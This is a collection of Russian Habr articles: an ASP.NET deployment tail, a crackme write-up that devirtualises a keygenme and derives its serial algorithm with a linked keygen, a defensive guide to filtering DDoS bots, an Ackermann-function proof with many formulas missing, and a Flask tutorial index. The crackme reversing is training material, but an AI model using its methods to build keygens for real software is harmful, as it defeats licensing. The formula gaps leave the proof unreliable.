1. Удаляем ссылку на EntityFramework, System.Data.Entity
2. Исключаем из проекта AccountController.cs;
3. из Моделей исключаем AccountModels.cs;
4. из представлений исключаем полностью папку Account
5. В \_Layout.cshtml удаляем секцию с id=logindisplay
6. Исключаем из проекта файл \_LogOnPartial.cshtml
Всё. Можно деплоить приложение и наслаждаться результатом:
Напоследок
==========
1. Учитывая, что Microsoft не так давно открыла исходники всего стека ASP.NET вероятнее всего более правильно будет подключить пакет MVC из codeplex`а к приложению и все ссылки переключить на него и в таком виде деплоить приложение.
2. Вместо вырезания авторизации необходимо реализовать собственные механизм без использования EntityFramework, но, как я указывал, это отдельная тема. | https://habr.com/ru/post/142672/ | null | ru | null |
# Анализ keygenme от Ra$cal на базе виртуальной машины
#### 0. Инфо
[Страница KeygenMe на crackmes.de](http://crackmes.de/users/racal/racal_crackme_n3_with_vm/)
Crackme with simple vm. Key check algorithm is simple, so main target — vm.
difficult of pcode is growing from start to end. first part seems like emulator, but then it looks like like machine with another logic, registers, commands =)
Good luck and have fun.
Difficulty: 4 — Needs special knowledge
Platform: Windows
Language: C/C++
Начнем свое исследование с просмотра кода, который выполняется когда мы нажимаем кнопку “Check” на форме. Так как в основе CrackMe лежит обычное диалоговое окно, то первым делом смотрим в его зарегистрированную оконную функцию.
*Рис 1. Часть оконной функции диалога, отвечающая за обработку WM\_COMMAND.*
Нажатие кнопки приводит к посылке приложению сообщения **WM\_COMMAND** с ID того элемента, у которого произошло событие. В данном случае происходит получение введенных значений используя API **GetDlgItemTextA**, а затем вызывается функция осуществляющая проверку введенных значений.
*Рис 2. Функция Check вызываемая из оконной функции.*
Смотря на большое число команд NOP (403F3E – 4035A9 = 995h) можно предположить что исходный код алгоритма, который был завиртуален размещался изначально здесь, а в дальнейшем был затерт.
Функция **sub\_4017C0** является оберткой над вызовом виртуальной машины, основной цикл которой расположен в функции **sub\_401890** псевдокод которой показан ниже.
*Рис 3. Основной цикл виртуальной машины в функции sub\_401890.*
Все эти функции внутри switch/case являются реализациями команд.
Сам виртуализированный код хранится в секции .rvmpc, начиная с адреса 00407000.
#### 1. Формат команд
Определение структуры виртуальной машины, определение ее архитектуры, а также формата используемых ею команд — это первая и самая главная задача при девиртуализации кода.
Данная виртуальная машина является регистровой, для временного хранения переменных используется стек.
Формат команд у этой виртуальной машины не фиксированной длины и довольно избыточен. У команд всех типов имеется общий заголовок следующего вида:
| | | | |
| --- | --- | --- | --- |
| Смещение | Тип | Размер | Описание |
| +0 | word | 2 | код операции |
| +2 | dword | 4 | ID команды |
| +6 | byte | 1 | размер аргументов |
| +7 | dword | 4 | ID следующей команды |
| +Bh | dword | 4 | неизвестно |
Поле “ID команды” содержит уникальное значение для всего байткода. Соответственно для перемещения к следующей команде виртуальная машина берет значение из поля “ID следующей команды” и ищет во всем массиве кода команду, у которой ID совпадет с указанной. После чего используя switch/case от значения поля “код операции” происходит интерпретация каждой из команд.
Набор команд рассматриваемой виртуальной машины позволяет оперировать ее внутренними регистрами, нативными регистрами процессора, выполнять нативный код.
| | |
| --- | --- |
| opcode | Действие |
| 0x00 | call |
| 0x01 | call |
| 0x02 | Условный переход |
| 0x03 | push dword |
| 0x04 | sub/add ESP |
| 0x05 | push dword |
| 0x06 | mov [esp], dword |
| 0x07 | jmp ID |
| 0x08 | mov [ebp+?], dword |
| 0x09 | native |
| 0x0A | native |
| 0x0B | - |
| 0x0C | Модификация внутреннего флага dw4052AC |
| 0x0D | - |
| 0x0E | - |
| 0x0F | - |
| 0x10 | mov REGn,dword-reg / mov REGn, dword [reg+X] |
| 0x11 | mov dword [addr], (reg/dword) / mov dword [REGn], (reg/dword) |
| 0x12 | Различные команды пересылок mov |
| 0x13 | Различные команды пересылок mov |
| 0x14 | MOV \_32[A], unpack(REGn) |
| 0x15 | MOV REGn, pack(\_32[A]) |
| 0x16 | XOR \_32[A][i], \_32[B][j] |
| 0x17 | mov [REGn], reg / mov reg, [REGn] |
| 0x18 | XOR \_32[A][c:d], \_32[B][e:f] |
| 0x19 | MOV \_32[A], 0 |
Команды 0x14 – 0x19 работают с дополнительной областью памяти, позволяющей производить побитовые операции на 32-битными числами.
#### 2. Дизассемблирование кода ВМ
Теперь когда у нас есть описание формата команд и мы знаем какие функции они выполняют стоит написать дизассемблер для данной виртуальной машины. Команды могут быть совсем не похожи на систему команд ранее известных архитектур, поэтому можно транслировать в понятные Вам мнемоники.
[Исходники дизассемблера с использованием библиотеки BeaEngine (+exe)](http://narod.ru/disk/64982749001.ef47d9185ca1aaaac77ab3e27a1c0e90/vm3_disasm.zip.html)
[Дизассемблерный листинг команд составил у меня 961 строку.](http://narod.ru/disk/64982291001.944852335ccdb348ddba40e430bf441b/disasm_log.txt.html)
#### 3. Девиртуализация
Данный этап необязателен если завиртуаленый код небольшой и можно понять алгоритм без перекодирования его в нативный код. Как уже сказал выше процесс девиртуализации заключается в перекодировании кода для виртуальной машины в код для нативного процессора. Для этого дизассемблер вместо мнемоник виртуальной машины должен выдавать одну или несколько мнемоник нативного процессора. После чего следует скомпилировать полученный код. Эта операция даст поддержку уже имеющихся инструментов – отладчиков, декомпиляторов и т.д.
Впринципе, алгоритм я разобрал по большей мере по дизассемблерному листингу, но мне стало интересно как поведет себя HexRays, если собрать в нативный x86 код полученный листинг. Для этого я избавился от всяких внутренних регистров в мнемониках команд, переписал часть кода работающего с битовыми значениями и скомпилировал все в ехе. Я не добивался идеального поведения, поэтому в приведенном ниже декомпилированном коде имеются некоторые логические ошибки.
[Получившийся исходник на x86 asm](http://narod.ru/disk/64982360001.26400aabee7f12c136dfc3b60fbc4a6e/vm3.asm.html)
Исходник собирается при помощи [FASM](http://flatassembler.net/).
Так например пара команд
```
MOV REGn, EBP-x
MOV reg, [REGn]
```
превращаются в одну
```
MOV reg, [EBP-x]
```
и команды перемещения в обратную сторону
```
MOV REGn, EBP-x
MOV [REGn], reg
```
превращаются в
```
MOV [EBP-x], reg
```
Больше же всего сокращается конструкция вида:
```
MOV REG9, DWORD PTR [ebp-E0]
MOV eax, DWORD PTR [REG9]
MOV [REG2], eax
MOV _32[1], 0
MOV _32[0], unpack(REG2)
XOR _32[0][0:7], _32[1][18:1F]
XOR _32[0][8:F], _32[1][10:17]
XOR _32[0][10:17], _32[1][8:F]
XOR _32[0][18:1F], _32[1][0:7]
MOV REG2, pack(_32[1])
MOV eax, [REG2]
MOV REG9, DWORD PTR [ebp-E0]
MOV DWORD PTR [REG9], eax
```
На x86 ассемблере она будет выглядеть так:
```
MOV eax, DWORD PTR [ebp-E0]
BSWAP eax
MOV DWORD PTR [ebp-E0], eax
```
После чего натравил на скомпилированный EXE плагин Hex-Rays и получаю исходник как на картинке ниже:
*Рис 4. Декомпилированный код пересобранный под x86 архитектуру.*
#### 4. Обращение алгоритма
Это самая унылая часть исследования, потому что алгоритм не представляет из себя ничего интересного и основан на XOR и циклических сдвигах.
Ключ имеет следующий вид:
**SSSS-11111111HHHHHHHH22222222-???**
, где:
SSSS – числовое значение в 10тичной системе счисления;
11111111, 22222222, HHHHHHHH – значения в 16ричной системе счисления;
??? – произвольное значение, произвольной длины
Алгоритм:
1. Считаем сумму от символов введенного имени
```
for ( i = 0; i < nLenName; i++ )
dwNameSum += name[i]
```
2. Сравниваем полученное значение с первым блоком ключа;
3. Считаем хэш от имени компьютера
```
for ( j = 0; j < nCompNameLen; j++ ) {
dwHashCompName ^= j ^ szCompName[j];
dwHashCompName = __ROL__(dwHashCompName, 3);
}
```
4. От секций 11111111, 22222222 и HHHHHHHH получаем из бинарное представление (hexdec)– аналог dwHash1, dwHash2, dwHash3.
5. Для каждого из значений производим операцию:
`dwHashN = dwHashN xor dwHashCompName xor htonl(dwHashCompName)`
6. Хэш от ключа считается следующим образом:
`dwHashSerial = dwHash3 xor dwHash1 xor htonl(dwHash1) xor dwHash2 xor htonl(dwHash2) xor dwHashCompName xor htonl(dwHashCompName)`
7. Хэш от имени считается по алгоритму:
```
for ( idx = 0; idx < nLenName; idx++ ) {
if ( idx % 2 )
dwHashName ^= 0x4F620AEC ^ (idx + dwHash1) ^ szName [idx];
else
dwHashName ^= 0x4F620AEC ^ (dwHash2 - idx) ^ szName[idx];
dwHashName = __ROL__(dwHashName, idx);
}
```
Все что нужно нам сделать – это сгенерировать случайно 2 значения для блоков 1 и 2. После чего считаем dwHashName и dwHashSerial, принимая dwHash3 равным 0. И останется только посчитать недостающее значение по формуле `dwHash3 = dwHashName ^ dwHashSerial`
Ну и конечно же результат всего исследования:
[Скачать EXE и исходники кейгена](http://narod.ru/disk/64982721001.4ace869659c128e3dfb58b46955d39b1/vm3_keygen_wnd.zip.html)
P.S. Яндекс палит как-то прямые линки, поэтому если показывает 404, открывайте ссылки в новой вкладке. | https://habr.com/ru/post/164437/ | null | ru | null |
# Защита от легкого DDoS'a
Совсем недавно на хабре уже появилась рекламная [статья](https://habr.com/company/cleantalk/blog/354374/) о борьбе с DDoS атаками на уровне приложения. У меня был аналогичный опыт поиска оптимального алгоритма противодействия нападениям, может кому пригодится — когда человек в первый раз сталкивается в DDoS-ом его сайта, это вызывает шок, поэтому полезно заранее знать, что всё не так уж страшно.
DDoS — распределенная атака на отказ — грубо говоря, бывает нескольких видов. DDoS сетевого уровня — IP-TCP-HTTP, DDoS уровня приложения — когда поток запросов сильно снижает производительность сервера или делает его работу невозможной, и я бы еще добавил DDoS уровня хостера — когда сайт работает, но нагрузка на сервер превышает установленную хостером квоту, в результате чего у владельца сайта тоже возникают проблемы.
Если вас ддосят на сетевом уровне, то вас можно поздравить, что ваш бизнес поднялся до таких высот, и вы сами наверняка знаете, что в этом случае делать. Мы рассмотрим два других вида ддоса.
### Боты
Любую CMS можно наполнить, разукрасить и оттюнинговать так, что даже один запрос в секунду будет давать недопустимую нагрузку даже на Хецнеровском VDS. Поэтому в общем случае задача стоит отфильтровать по возможности все ненужные запросы к сайту. В то же время, человек должен гарантированно на сайт попадать и не испытывать неудобств от наличия DDoS защиты.
Боты бывают нескольких типов. Полезные (нужные поисковые), бесполезные (ненужные поисковые и спайдеры) и вредные (те, что вредят). Первые два типа — это добропорядочные боты, которые в своем User-Agent'e говорят о себе правду. Бесполезные боты отфильтровываются в .htaccess, полезные пропускаются на сайт, а вредных будем ловить. Случай, когда вредный бот представляется Яндекс ботом, например, мы опустим для простоты (для него тоже есть решение — Яндекс по ip дает возможность узнать, их это бот или нет, и таких можно сразу банить).
Не допустив вредных ботов к бэкэнду получим необходимое снижение нагрузки на сервер.
Вредные боты можно разделить на два типа: умные (которые понимают cookie и javascript) и глупые (которые не понимают). Есть мнение, что ддос-ботов, понимающих javascript, вообще не существует, но это для серьезных сетевых DDoS атак. В наших условиях даже чрезмерно активный анонимный спайдер формально становится ддос-ботом, которого надо нейтрализовать.
Пока займемся глупыми ботами.
### Защита
Код защиты приводить не будем, он простой — несколько десятков строчек на php; намного короче и проще этой статьи. Опишем логику. Будем записывать клиенту куку (метод проверки на куки используется даже при защитах от [мощных DDoS атак](https://habr.com/post/139931/)). С любым именем и любым содержимым, можно использовать уже устанавливаемую сайтом куку.
Для простоты считаем, что на сайт есть единая точка входа, туда встраиваем наш ddos-shield. Сразу проверяем у запроса нашу куку: если она есть — безусловно пропускаем на сайт. Если нету, то записываем пару ip и юзер-агент в виде отдельного файла в отдельную директорию /suspected. Файл имеет название ip-ua.txt, где ua — dechex(crc32($\_SERVER[«HTTP\_USER\_AGENT»])) — просто короткий хэш юзер-агента.
В сам файл пишем разделяя переводом строки время запроса, страницу (url) запроса, User-Agent, и еще можно использовать Sypex Geo или зарегистрироваться на maxmind.com и на пять дней заиметь бесплатный доступ к их geoip базе — по ip они выдают географическое местоположение, его тоже в этот файл.
Если файл с таким именем ip-ua.txt уже существует, то добавляем всю эту информацию нового запроса в конец файла.
Еще один момент — AJAX запросы нашего сайта. Если они есть, то их тоже нужно безусловно пропускать, определяя по своим меткам. Вероятность того, что боты тоже будут бить именно по ним — минимальна.
Теперь пропущенный шаг — до того, как мы записываем или дописываем ip-ua.txt, мы проверяем, что запрос с этого ip уже приходил, причем, не обращаем внимания на User-Agent:
```
count(glob(__DIR__ . "/suspected/$ip-*.txt")) > 0
```
Смысл в том, что мы даем каждому ip один шанс на получение куки. Если он приходит второй раз без нее, то срабатывает это неравенство, и мы перенаправляем клиента на отдельную страницу check-human.php, где он с помощью гугловской рекапчи будет проходить тест Тьюринга с витринами и транспортными средствами. Если не прошел — до свидания (опять рекапча), если прошел — создаем в еще одной специальной директории /whitelist файл ip-ua.txt. И в самом начале вместе с проверкой куки проверяем и на попадание пары ip-ua в наш /whitelist — этих тоже безусловно пропускаем. При такой тактике мы сможем дать возможность работать на сайте тем людям, у которых в браузере отключена поддержка куки и включен javascript, либо наоборот — отключен javascript но работают куки.
### Ботнет
В принципе и всё. Глупых ботов отфильтровали, теперь умные. Для умных и подход уже интеллектуальный — открываем директорию /suspected, сортируем файлы по размеру. Вверху самые большие — десятки и сотни килобайт настойчивых попыток к нам пролезть. Открываем и смотрим, убеждаемся, что это действительно бот — по ip, по местоположению, по времени запроса, по периодам запросов, по страницам запросов, по сменам юзер-агента — обычно это хорошо видно, всё перед глазами. В принципе, можно выбрать все файлы с, к примеру, 10+ безуспешных попыток, и отправить их ip в бан через .htaccess. Но это нехорошо, лучше отправлять их на капчу — все-таки бывает, что несколько человек выходят в инет через один ip.
Это очень неплохо решает и вопрос умных ботов. Почему? Потому что если вас заказали, то, скорей всего, одному ддосеру. А они тоже бывают умные и глупые. И глупые обычно используют для умных и глупых своих ботов один ботнет, с одними ip. Таким образом, вы заблокируете и тех ботов, которые принимают куки и исполняют javascript. Кроме того, умных ботов намного меньше, стоят они дороже и работают медленней, поэтому данный метод эффективен для борьбы с абсолютным большинством рассматриваемых атак.
По моим наблюдениям, по данной схеме через капчу пришлось пройти порядка 1%-2% реальных пользователей сайта, остальные вообще ничего не заметили — что вполне юзер френдли. Кроме того, даже зашедшие в первый раз люди не видят никаких «заглушек» (в отличие от способа по ссылке в начале поста), а спокойно работают с сайтом.
Определенные неудобства возможны у людей, использующих специальный брузерный софт для анонимизации — динамически меняющий ip и юзер-агент клиента, стирающий куки, но мы этот вариант не рассматриваем.
В моем случае нагрузка на сервер упала сразу. Боты долбились еще какое-то время; через пару дней я заметил, что они ушли — ддосеры тоже не любят тратить ресурсы вхолостую. Снял защиту.
### Развитие логики
Можно варьировать логику защиты — добавить проверку на javascript (он и будет ставить куку, например); можно мониторить тех, кто был перенаправлен на капчу и не прошел ее, чтобы не допускать случая «плохого» поведения по отношению к человеку; можно делать именные куки, следить за числом захода клиента и при превышении лимита так же отправлять его на капчу; можно реализовать систему токенов; можно пускать ботов по цепи редиректов с временными задержками, чтобы затормозить их; можно анализировать ip ботов и банить целыми сетками, как Роскомнадзор — но это уже по мере надобности. По закону 20-80 самые простые нужные решения решают просто всё, что нужно.
**Главное — оперативно вычленив и забанив очевидно зловредные ip из /suspected, вы сразу ощутимо снизите нагрузку на сервер и получите время для подготовки дальнейших действий по отражению атаки.**
Вот таким нехитрым способом можно наказать нечистоплотных конкурентов на деньги.
Disclaimer: данная статья написана только для легких DDoS атак уровня приложения, преимущественно для сайтов на shared хостинге, лимит доступных ресурсов которых ограничен. | https://habr.com/ru/post/354744/ | null | ru | null |
# Примитивно-рекурсивные функции и функция Аккермана
[Функция Аккермана](https://ru.wikipedia.org/wiki/%D0%A4%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D1%8F_%D0%90%D0%BA%D0%BA%D0%B5%D1%80%D0%BC%D0%B0%D0%BD%D0%B0) — одна из самых знаменитых функций в Computer Science. С ней связан как минимум один фундаментальный результат и как минимум один просто важный. Фундаментальный результат, говоря аккуратно и непонятно, таков: существует всюду определённая вычислимая функция, не являющаяся примитивно-рекурсивной. Важный результат заключается в том, что [лес непересекающихся множеств](https://ru.wikipedia.org/wiki/%D0%A1%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D0%B0_%D0%BD%D0%B5%D0%BF%D0%B5%D1%80%D0%B5%D1%81%D0%B5%D0%BA%D0%B0%D1%8E%D1%89%D0%B8%D1%85%D1%81%D1%8F_%D0%BC%D0%BD%D0%BE%D0%B6%D0%B5%D1%81%D1%82%D0%B2) (также известный как disjoint set union) [работает очень быстро](https://neerc.ifmo.ru/wiki/index.php?title=%D0%A1%D0%9D%D0%9C_(%D1%80%D0%B5%D0%B0%D0%BB%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F_%D1%81_%D0%BF%D0%BE%D0%BC%D0%BE%D1%89%D1%8C%D1%8E_%D0%BB%D0%B5%D1%81%D0%B0_%D0%BA%D0%BE%D1%80%D0%BD%D0%B5%D0%B2%D1%8B%D1%85_%D0%B4%D0%B5%D1%80%D0%B5%D0%B2%D1%8C%D0%B5%D0%B2)#.D0.A4.D1.83.D0.BD.D0.BA.D1.86.D0.B8.D1.8F_.D0.90.D0.BA.D0.BA.D0.B5.D1.80.D0.BC.D0.B0.D0.BD.D0.B0).
Мне очень нравится изучать функцию Аккермана, т.к. всё, что с ней связано, очень красиво и изящно. Вот и записанный выше фундаментальный результат понять намного проще, чем это может показаться.
Из текста ниже вы узнаете, что такое примитивно-рекурсивные функции и как выяснить, что функция Аккермана к таковым не относится. И, конечно, этот текст убедит вас в том, что это невероятно красивая конструкция и невероятно красивое рассуждение!
### **1. Почему это может быть интересно**
Рассуждение о связи между примитивно-рекурсивными функциями и функцией Аккермана является примером решения стандартной в теории вычислимости задачи: дана некоторая модель вычислений, некоторая функция, и необходимо определить, является ли эта функция вычислимой в данной модели.
Другие подобные примеры связаны, например, с [алгоритмической разрешимостью](https://ru.wikipedia.org/wiki/%D0%90%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8_%D0%BD%D0%B5%D1%80%D0%B0%D0%B7%D1%80%D0%B5%D1%88%D0%B8%D0%BC%D0%B0%D1%8F_%D0%B7%D0%B0%D0%B4%D0%B0%D1%87%D0%B0), эквивалентностью различных моделей вычислений (машин Тьюринга, частично-рекурсивных функций, нормальных алгорифмов Маркова и так далее). А через них мы связываемся уже с совершенно практической областью определения [Тьюринг-полноты](https://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D0%BB%D0%BD%D0%BE%D1%82%D0%B0_%D0%BF%D0%BE_%D0%A2%D1%8C%D1%8E%D1%80%D0%B8%D0%BD%D0%B3%D1%83) языков программирования, эквивалентных преобразований текстов программ и прочих интересностей.
Функция Аккермана как будто специально создана для того, чтобы быть изящным примером решения такого рода вопросов. Скоро вы в этом убедитесь.
### **2. Функция Аккермана**
Определение из Википедии для наших целей подходит плохо, поэтому я использую определение из книжки Верещагина и Шеня «Вычислимые функции». Эта конструкция и идейно, и технически несколько отличается от изначальной, придуманной Аккерманом, но сейчас это не так важно.
Введём последовательность функций  одного аргумента. Определим их рекурсивно:
$](https://habrastorage.org/getpro/habr/formulas/137/e0b/227/137e0b2273983bad7ff68af8155eeaac.svg)
Здесь  = f\Big(f(...(f(x))...)\Big)$](https://habrastorage.org/getpro/habr/formulas/7b0/b37/5ec/7b0b375ecb3490d01a5592480af579b5.svg) — в квадратных скобках записывается число , и тогда ровно  раз функция применяется к своему аргументу. Таким образом, значение каждой следующей функций из нашей последовательности определяется так: возьмём предыдущую функцию,  раза применим её к числу  — получится значение следующей функции на числе .
Кстати, все аргументы здесь натуральные либо ноль — довольно типичный расклад для теории алгоритмов, да и для дискретной математики вообще.
Такое определение набора функций проще всего записать следующим кодом:
```
def Foo(number, argument):
if number == 0:
return argument + 1
result = argument
for i in range(argument + 2):
result = Foo(number - 1, result)
return result
```
Для определения значения  достаточно вычислить значение `Foo(i, x)`.
Так определённый набор функций обладает полезными свойствами монотонности. Во-первых, по аргументу:  для любых  и . Ну, действительно, , а функции со следующими номерами многократно применяют  к своему аргументу.
Во-вторых, по номеру функции:  для любых  и . Раз все функции строго монотонны по аргументу, а функция со следующим номером применяет функцию с предыдущим номером к этому же аргументу более одного раза — стало быть, итоговое значение получится больше. Чуть подробнее:
 \ge a_i[2](x) = a_i\Big(a_i(x)\Big) > a_i(x)$](https://habrastorage.org/getpro/habr/formulas/c15/1c5/92e/c151c592e3bc70f576e5c1dcccb3bec2.svg)
Отдельно стоит запомнить, что
### **3. Примитивно-рекурсивные функции (ПРФ)**
ПРФ являются примером «математического исчисления». Исчисление — это способ определять множества объектов через набор аксиом и правил вывода из этих аксиом. В современной математике такой подход распространён широко: его можно встретить и в теории алгоритмов, и в математической логике, и в теории групп, и в куче других мест.
Что такое примитивно-рекурсивная функция? Начнём с «аксиом». Примитивно-рекурсивными функциями являются:
1. Функция, тождественно равная нулю: 
2. Функция прибавления единицы: 
3. Функция-проекция: 
Назовём эти функции базисными. Теперь о «правилах вывода»:
* **Подстановка**. Если  — функция  аргументов, а  — функции  аргументов, то из них можно собрать функцию  аргументов : берём  аргументов, подставляем их в каждую из  функций , получившиеся значения используем как аргументы функции . Типичная подстановка!
* **Примитивная рекурсия**. Если  — функция  аргументов, а  — функция  аргументов, то из них можно собрать функцию, определённую следующим образом:
В случае примитивной рекурсии легко угадать признаки того, что мы обыкновенно называем рекурсией. Тут есть конец рекурсии: он происходит, когда последний аргумент обращается в ноль. Есть рекурсивный вызов: для вычисления значения функции с последним аргументом, отличным от нуля, необходимо вычислить значение с уменьшенным значением последнего аргумента. Такое определение является достаточно общим, т.к. в процессе вычислений доступна и сама переменная, по которой осуществляется рекурсия.
Итак, ПРФ — это базисные функции, а также любые функции, полученные из базисных при помощи операций композиции и примитивной рекурсии.
В терминах ПРФ легко построить описания простых всем известных функций.
Например, сложение двух чисел сделаем через рекурсию по второму слагаемому. Если к числу прибавить ноль, то надо вернуть само это число. В противном случае надо к результату прибавить единицу, из второго слагаемого вычесть единицу и запустить рекурсию:
Теория алгоритмов — часть математики, а поэтому требует строгости. В данном случае оператор примитивной рекурсии требует, чтобы при нулевом втором аргументе вызывалась некоторая функция одного аргумента. Хотелось бы написать , но я не могу, т.к. просто  не является функцией. Это вынуждает меня использовать функцию . В случае же рекурсивного вызова правила требуют, чтобы в правой части равенства стояла функция трёх конкретных аргументов: . Из них всех мне нужен только третий аргумент, поэтому я достаю его при помощи функции , а уже затем прибавляю единичку.
Похожим образом можно определить умножение:
Ну и давайте определим что-нибудь поинтереснее. Скажем, последовательность Фибоначчи! Напомню, что она определяется следующим образом:
В данном случае придётся помнить два предыдущих значения, а не одно; значит, придётся выкручиваться!
Введём не одну функцию, а сразу две. Первая функция, пусть это будет , будет производить искомые числа Фибоначчи. А вторая функция, пусть это будет , будет производить числа Фибоначчи со следующим номером, то есть:
В таком случае первые несколько значений функции  должны равняться 0, 1, 1, 2, 3, 5; функции , соответственно, 1, 1, 2, 3, 5, 8. Тогда рекурсия должна выглядеть следующим образом:
Осталось только записать это строго:
Соответствующая реализация выглядит следующим образом:
```
def G(x):
if x == 0:
return 1
return G(x - 1) + F(x - 1)
def F(x):
if x == 0:
return 0
return G(x - 1)
```
Итак, мы только что доказали, что сложение, умножение, вычисление -го числа Фибоначчи являются примерами примитивно-рекурсивных функций!
### **4. Функция Аккермана и ПРФ, часть первая**
Оказывается, примитивно-рекурсивные функции не могут «безгранично быстро» расти. Точнее говоря: для любой примитивно-рекурсивной функции  аргументов  найдётся такое , что:
Доказывать такие утверждения для исчислений — одно удовольствие. Вначале докажем его для базисных функций, а затем проверим, что свойство сохраняется при применении операций.
Что же, для базисных операций всё понятно:
В первом случае используем то, что тождественный ноль всегда меньше единицы, а даже функция  прибавляет к своему аргументу единицу (помним: мы в дискретном мире, тут все аргументы либо натуральные числа, либо ноль). Во втором случае прибавление единицы — в точности результат применения функции , которая по монотонности меньше функции . В третьем случае функция-проекция возвращает один из своих аргументов, который точно меньше, чем максимальный из всех аргументов, увеличенный на единицу.
Теперь займёмся правилами вывода. Здесь используем математическую индукцию: в предположении, что утверждение верно для функций, из которых составляется результирующая, покажем, что утверждение верно и для результирующей функции.
Пусть функция  получена операцией композиции из функций , и все эти функции в совокупности ограничены некоторой функцией . Докажем, что тогда и функция  тоже ограничена. И действительно:
![$<a_M\Big[max\Big(a_M(max(x_1,...,x_n)),...,a_M(max(x_1,...,x_n))\Big)\Big]$](https://habrastorage.org/getpro/habr/formulas/13f/ae1/482/13fae1482bc0a7f3cdc4075dd1bbe513.svg)
Здесь вначале использована ограниченность функции , затем ограниченность каждой из функций , после чего внешний максимум оказывается применён к набору из  одинаковых чисел, а поэтому может быть исключён. В итоге оценка сводится к двукратному применению функции  к своему аргументу, а такой результат ограничивается значением следующей фукнции .
Пусть теперь функция  получена операцией примитивной рекурсии из функций  и , каждая из которых ограничена функцией .
Посмотрим для начала, что будет, когда аргумент рекурсии равняется нулю. Тут всё просто: можем использовать оценку для функции :
Теперь посмотрим, что будет, если последний аргумент равен единице:
)$](https://habrastorage.org/getpro/habr/formulas/4fe/236/3ab/4fe2363abe50aee3d2d76e0d3e73b25c.svg)
Здесь сначала используется уже полученная оценка для , а также оценка для . После этого используется монотонность функции : ясно, что
Продолжая это рассуждение по индукции, получим, что
)$](https://habrastorage.org/getpro/habr/formulas/93a/d4e/2d2/93ad4e2d27c46820f0f3c05ea5164907.svg)
А свойства введённой последовательности функций гарантируют, что
)<a_{M+1}\Big(max(x_1,...,x_k,y)\Big)$](https://habrastorage.org/getpro/habr/formulas/6e4/5d7/d6d/6e45d7d6d2955ee093d921fd0c44a0ea.svg)
Окончательно:
И на этом наше доказательство закончено. Забавно, что получилось, что каждое применение композиции или примитивной рекурсии увеличивает необходимый по условиям утверждения номер функции на единицу.
### **5. Функция Аккермана и ПРФ, часть вторая**
Итак, мы знаем, что для любой примитивно-рекурсивной функции найдётся функция , которая будет расти быстрее. Теперь можно определить следующую функцию:
Фактически, вводя последовательность функций одного аргумента, мы ввели функцию двух аргументов: первый из них задаёт номер функции в последовательности, второй — собственно аргумент. Приравняв номер и аргумент, получим функцию одного аргумента.
Теперь верно следующее утверждение: *введённая функция  не является примитивно-рекурсивной*.
Действительно, предположим, что эта функция является примитивно-рекурсивной. Тогда по доказанному в пункте 4 существует такой номер , что  для всех . Но это точно не так, например:
Таким образом, новая функция не является примитивно-рекурсивной. Этого-то мы и добивались, ура! Её и будем называть *функцией Аккермана*.
### **6. А насколько она в действительности велика?**
Возвращаясь к практике, нам может быть интересно знать, насколько же всё-таки быстро растёт функция Аккермана, с чем её вообще можно сравнить. Выше мы уже видели, что суммы и произведения определяются некоторыми ПРФ. Через ПРФ можно определить операцию возведения в степень и даже функцию . Более того, любая функция вида
с наперёд заданным количеством возведений в степень, является примитивно-рекурсивной. Не поленюсь и докажу это. Для начала построю функцию :
Теперь использую её для определения функции :
Как видите, это делается простой подстановкой. Теперь нет сложности с тем, чтобы определить функцию :
Действуя по аналогии, можно построить функцию, в которой  возводится в степень  пять раз, десять раз, сто раз, миллион раз. Функция Аккермана растёт быстрее любой из этих функций. Вот насколько быстро она растёт! | https://habr.com/ru/post/486548/ | null | ru | null |
# Мега-Учебник Flask, Часть XXII: Фоновые задачи
(издание 2018)
--------------
### *Miguel Grinberg*
---
 [Туда](https://habrahabr.ru/post/354322/) [Сюда](https://habr.com/post/358152/) 
Это двадцать вторая часть Мега-Учебника, в которой я расскажу вам, как создавать фоновые задания, которые работают независимо от веб-сервера.
Под спойлером приведен список всех статей серии 2018 года.
**Оглавление*** [**Глава 1: Привет, мир!**](https://habrahabr.ru/post/346306/)
* [**Глава 2: Шаблоны**](https://habrahabr.ru/post/346340/)
* [**Глава 3: Веб-формы**](https://habrahabr.ru/post/346342/)
* [**Глава 4: База данных**](https://habrahabr.ru/post/346344/)
* [**Глава 5: Пользовательские логины**](https://habrahabr.ru/post/346346/)
* [**Глава 6: Страница профиля и аватары**](https://habrahabr.ru/post/346348/)
* [**Глава 7: Обработка ошибок**](https://habrahabr.ru/post/346880/)
* [**Глава 8: Подписчики, контакты и друзья**](https://habrahabr.ru/post/347450/)
* [**Глава 9: Разбивка на страницы**](https://habrahabr.ru/post/347926/)
* [**Глава 10: Поддержка электронной почты**](https://habrahabr.ru/post/348566/)
* [**Глава 11: Реконструкция**](https://habrahabr.ru/post/349060/)
* [**Глава 12: Дата и время**](https://habrahabr.ru/post/349604/)
* [**Глава 13: I18n и L10n**](https://habrahabr.ru/post/350148/)
* [**Глава 14: Ajax**](https://habrahabr.ru/post/350626/)
* [**Глава 15: Улучшение структуры приложения**](https://habrahabr.ru/post/351218/)
* [**Глава 16: Полнотекстовый поиск**](https://habrahabr.ru/post/351900/)
* [**Глава 17: Развертывание в Linux**](https://habrahabr.ru/post/352266/)
* [**Глава 18: Развертывание на Heroku**](https://habrahabr.ru/post/352830/)
* [**Глава 19: Развертывание на Docker контейнерах**](https://habrahabr.ru/post/353234/)
* [**Глава 20: Магия JavaScript**](https://habrahabr.ru/post/353804/)
* [**Глава 21: Уведомления пользователей**](https://habrahabr.ru/post/354322/)
* [**Глава 22: Фоновые задачи**](https://habrahabr.ru/post/354752/) (Эта статья)
* [**Глава 23: Интерфейсы прикладного программирования (API)**](https://habr.com/ru/post/358152/)
*Примечание 1: Если вы ищете старые версии данного курса, это [здесь](https://blog.miguelgrinberg.com/post/the-flask-mega-tutorial-part-i-hello-world-legacy "здесь").*
*Примечание 2: Если вдруг Вам захотелось бы выступить в поддержку моей(Мигеля) работы, или просто не имеете терпения дожидаться статьи неделю, я (Мигель Гринберг)предлагаю полную версию данного руководства(на английском языке) в виде электронной книги или видео. Для получения более подробной информации посетите [learn.miguelgrinberg.com](http://learn.miguelgrinberg.com "learn.miguelgrinberg.com").*
